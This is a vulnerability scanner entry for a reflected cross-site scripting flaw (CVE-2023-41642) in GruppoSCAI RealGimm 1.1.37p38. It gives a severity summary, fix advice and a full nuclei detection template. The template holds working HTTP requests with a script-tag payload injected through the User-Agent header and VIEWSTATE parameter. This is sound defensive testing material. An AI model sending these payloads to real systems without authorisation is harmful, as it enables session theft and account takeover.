RealGimm by GruppoSCAI v1.1.37p38 - Cross-Site Scripting

mediumseverity

6.1CVSS score

1.1%likelihood of exploitation, next 30 days

67%of all CVEs are less likely

Readycheck to confirm it

Multiple reflected cross-site scripting (XSS) vulnerabilities in the ErroreNonGestito.aspx component of GruppoSCAI RealGimm 1.1.37p38 allow attackers to execute arbitrary Javascript in the context of a victim user's browser via a crafted payload injected into the VIEWSTATE parameter.

Impact

Unauthenticated attackers can inject malicious JavaScript via the VIEWSTATE parameter in ErroreNonGestito.aspx to steal session cookies and perform actions as victim users of the RealGimm property management system.

Fix

Update GruppoSCAI RealGimm to a version newer than 1.1.37p38 that properly sanitizes the VIEWSTATE parameter in the ErroreNonGestito.aspx component.

How to confirm it

Send: POST /RealGimmWeb/Pages/Sistema/LogObjectTrace.aspx ; GET /RealGimmWeb/Pages/ErroreNonGestito.aspx
Positive when: contains in body_2 "<script>alert(document.domain)</script>" and "Invalid_Viewstate" AND contains in header_2 "text/html"

Run it with nuclei: nuclei -id CVE-2023-41642 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2023-41642

info:
  name: RealGimm by GruppoSCAI v1.1.37p38 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Multiple reflected cross-site scripting (XSS) vulnerabilities in the ErroreNonGestito.aspx component of GruppoSCAI RealGimm 1.1.37p38 allow attackers to execute arbitrary Javascript in the context of a victim user's browser via a crafted payload injected into the VIEWSTATE parameter.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript via the VIEWSTATE parameter in ErroreNonGestito.aspx to steal session cookies and perform actions as victim users of the RealGimm property management system.
  remediation: |
    Update GruppoSCAI RealGimm to a version newer than 1.1.37p38 that properly sanitizes the VIEWSTATE parameter in the ErroreNonGestito.aspx component.
  reference:
    - https://github.com/CapgeminiCisRedTeam/Disclosure/blob/main/CVE%20PoC/CVE-ID%20%7C%20RealGimm%20%20-%20Reflected%20Cross-site%20Scripting.md
    - https://nvd.nist.gov/vuln/detail/CVE-2023-41642
    - https://github.com/CapgeminiCisRedTeam/Disclosure/blob/f7aafa9fcd4efa30071c7f77d3e9e6b14e92302b/CVE%20PoC/CVE-2023-41642%20%7C%20RealGimm%20%20-%20Reflected%20Cross-site%20Scripting.md
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-41642
    cwe-id: CWE-79
    epss-score: 0.01117
    epss-percentile: 0.66372
    cpe: cpe:2.3:a:grupposcai:realgimm:1.1.37:p38:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: grupposcai
    product: realgimm
  tags: cve,cve2023,realgimm,xss,grupposcai,vkev,vuln

http:
  - raw:
      - |
        POST /RealGimmWeb/Pages/Sistema/LogObjectTrace.aspx HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        User-Agent: </span><script>alert(document.domain)</script>

        __EVENTTARGET=T1bPulsantiera&EVENTARGUMENT=TlbPulsantiera_Item_0%3AUP&___VIEWSTATE='TESTING&LeftArea%3ALeftMenu_hidden=&T1bPulsantiera_CancelClick=false&TlbPulsantiera_hidden=&cbUtente=&txtDataRichiestaDa=&txtDataRichiestaA=&TopArea%3ATopMenu=
      - |
        GET /RealGimmWeb/Pages/ErroreNonGestito.aspx HTTP/1.1
        Host: {{Hostname}}
        User-Agent: </span><script>alert(document.domain)</script>

    host-redirects: true

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - '<script>alert(document.domain)</script>'
          - 'Invalid_Viewstate'
        condition: and

      - type: word
        part: header_2
        words:
          - text/html

References

Use this check only on systems you are authorised to test. Where the data comes from